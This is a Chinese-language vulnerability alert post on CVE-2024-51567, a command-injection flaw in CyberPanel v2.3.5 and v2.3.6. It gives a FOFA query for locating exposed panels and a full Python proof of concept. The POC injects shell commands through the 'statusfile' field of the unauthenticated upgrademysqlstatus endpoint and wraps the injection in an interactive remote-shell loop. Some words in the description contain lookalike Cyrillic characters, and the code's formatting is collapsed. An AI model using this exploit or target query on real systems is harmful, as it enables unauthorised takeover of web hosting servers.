[含POC]CyberPanel upgrademysqlstatus 远程命令执行漏洞(CVE-2024-51567)

[含POC]CyberPanel upgrademysqlstatus 远程命令执行漏洞(CVE-2024-51567)

原创 漏洞预警机器人 安全光圈 2024-12-09 05:44

CyberPanel upgrademysqlstatus 远程命令执行漏洞(CVE-2024-51567)

免责声明:本文内容为机器人搜集最新漏洞及POC分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞名称

CyberPanel upgrademysqlstatus 远程命令执行漏洞(CVE-2024-51567)

漏洞描述

CyberPanel 是一个开源的 Web 托管控制面板,专为 OpenLiteSpeed Web 服务器设计,提供友好的用户界面和多种热门应用。

CуbеrPаnеl v2.3.5、v2.3.6 版本存在远程命令执行,该漏洞源于uрɡrаdеmуѕԛlѕtаtuѕ接口未做身份验证和参数过滤,未授权攻击者可执行任意命令获取服务器权限。

影响版本:

1、 CyberPanel v2.3.5

2、 CyberPanel v2.3.6

FOFA语句

body="Name: CyberPanel-VJ-Theme-Dark"

POC

import httpx import sys def get_CSRF_token(client):    resp = client.get("/")        return resp.cookies['csrftoken']    def pwn(client, CSRF_token, cmd):    headers = {        "X-CSRFToken": CSRF_token,        "Content-Type":"application/json",        "Referer": str(client.base_url)    }        payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)        return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]    def exploit(client, cmd):    CSRF_token = get_CSRF_token(client)    stdout = pwn(client, CSRF_token, cmd)    print(stdout)    if __name__ == "__main__":    target = sys.argv[1]        client = httpx.Client(base_url=target, verify=False)    while True:        cmd = input("$> ")        exploit(client, cmd)